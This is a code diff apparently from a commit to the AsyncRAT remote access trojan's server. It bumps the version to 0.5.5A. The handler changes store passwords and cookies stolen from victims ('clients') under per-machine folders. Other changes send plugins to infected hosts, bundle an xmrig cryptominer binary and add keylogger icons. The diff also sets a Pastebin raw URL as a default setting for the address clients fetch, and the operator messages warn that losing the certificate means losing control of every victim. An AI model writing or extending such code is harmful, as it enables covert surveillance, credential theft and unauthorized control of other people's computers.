MessageBox.Show(this, "If you want to use an updated version of AsyncRAT, remember to copy+paste your certificate", "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Information);
MessageBox.Show(this, @"[!]If you wish to upgrade to new version of AsyncRAT, You will need to copy this certificate
[!]If you lose\delete this certificate you will NOT be able to control your clients, You will lose them all.", "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Information);
this.Close();
}));
}

View File

@ -66,8 +66,11 @@ namespace Server.Forms
private void FormProcessManager_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
ThreadPool.QueueUserWorkItem((o) =>
{
Client?.Disconnected();
});
}
catch { }
}

View File

@ -26,7 +26,7 @@ namespace Server.Handle_Packet
Directory.CreateDirectory(fullPath);
File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine));
File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies);
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully @ ClientsFolder \\ {unpack_msgpack.ForcePathObject("Hwid").AsString} \\ Recovery", Color.Purple);
}
else
{

View File

@ -171,7 +171,7 @@ namespace Server.Handle_Packet
case "sendPlugin":
{
new HandleLogs().Addmsg($"Sending plugins to client {ip} please wait..", Color.Blue);
new HandleLogs().Addmsg($"Sending the plugin to client {ip} for the first time please wait..", Color.Blue);
ThreadPool.QueueUserWorkItem(delegate {
client.SendPlugin(unpack_msgpack.ForcePathObject("Hashes").AsString);
});
@ -188,7 +188,6 @@ namespace Server.Handle_Packet
}
catch
{
client?.Disconnected();
return;
}
}

View File

@ -5,11 +5,11 @@ using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("AsyncRAT-Sharp")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyTitle("AsyncRAT")]
[assembly: AssemblyDescription("NYAN CAT")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("AsyncRAT-Sharp")]
[assembly: AssemblyProduct("AsyncRAT")]
[assembly: AssemblyCopyright("Copyright © 2019")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
@ -20,7 +20,7 @@ using System.Runtime.InteropServices;
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("7767c300-5fd5-4a5d-9d4c-59559cce48a3")]
//[assembly: Guid("7767c300-5fd5-4a5d-9d4c-59559cce48a3")]
// Version information for an assembly consists of the following four values:
//
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyVersion("0.5.5.0")]
[assembly: AssemblyFileVersion("0.5.5.0")]

View File

@ -220,6 +220,26 @@ namespace Server.Properties {
}
}
/// <summary>
/// Looks up a localized resource of type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap keyboard {
get {
object obj = ResourceManager.GetObject("keyboard", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Looks up a localized resource of type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap keyboard_on {
get {
object obj = ResourceManager.GetObject("keyboard-on", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Looks up a localized resource of type System.Drawing.Bitmap.
/// </summary>

View File

@ -169,6 +169,9 @@
<data name="mouse" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\mouse.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="_7z" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\7z.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data>
<data name="tomem1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
@ -178,6 +181,9 @@
<data name="uac" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\uac.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="process" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\process.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="pc" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\pc.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
@ -205,8 +211,8 @@
<data name="extra" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\extra.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="xmrig" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\xmrig.bin;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
<data name="client" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="monitoring-system" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\monitoring-system.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
@ -214,17 +220,14 @@
<data name="webcam" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\webcam.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="netstat" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\netstat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="tomem" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\tomem.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="ddos" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\ddos.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="process" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\process.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
<data name="netstat" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\netstat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="save-image2" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\save-image2.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
@ -235,19 +238,22 @@
<data name="disabled" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\disabled.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="chat" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="client" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="server" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="_7z" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\7z.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
<data name="chat" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="xmrig" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\xmrig.bin;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data>
<data name="_7z1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\7z.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data>
<data name="keyboard" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\keyboard.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="keyboard-on" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\keyboard-on.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
</root>

View File

@ -12,7 +12,7 @@ namespace Server.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.2.0.0")]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.3.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
@ -73,7 +73,7 @@ namespace Server.Properties {
[global::System.Configuration.UserScopedSettingAttribute()]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Configuration.DefaultSettingValueAttribute("")]
[global::System.Configuration.DefaultSettingValueAttribute("https://pastebin.com/raw/s14cUU5G")]
public string Pastebin {
get {
return ((string)(this["Pastebin"]));

View File

@ -15,7 +15,7 @@
<Value Profile="(Default)" />
</Setting>
<Setting Name="Pastebin" Type="System.String" Scope="User">
<Value Profile="(Default)" />
<Value Profile="(Default)">https://pastebin.com/raw/s14cUU5G</Value>
</Setting>
<Setting Name="IP" Type="System.String" Scope="User">
<Value Profile="(Default)" />

View File

@ -12,12 +12,14 @@ namespace Server
public static List<string> Blocked = new List<string>();
public static object LockBlocked = new object();
public static long Sent { get; set; }
public static long Received { get; set; }
public static long SentValue { get; set; }
public static long ReceivedValue { get; set; }
public static object LockReceivedSendValue = new object();
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
public static X509Certificate2 ServerCertificate;
public static readonly string Version = "AsyncRAT 0.5.4H";
public static readonly string Version = "AsyncRAT 0.5.5A";
public static object LockListviewClients = new object();
public static object LockListviewLogs = new object();
public static object LockListviewThumb = new object();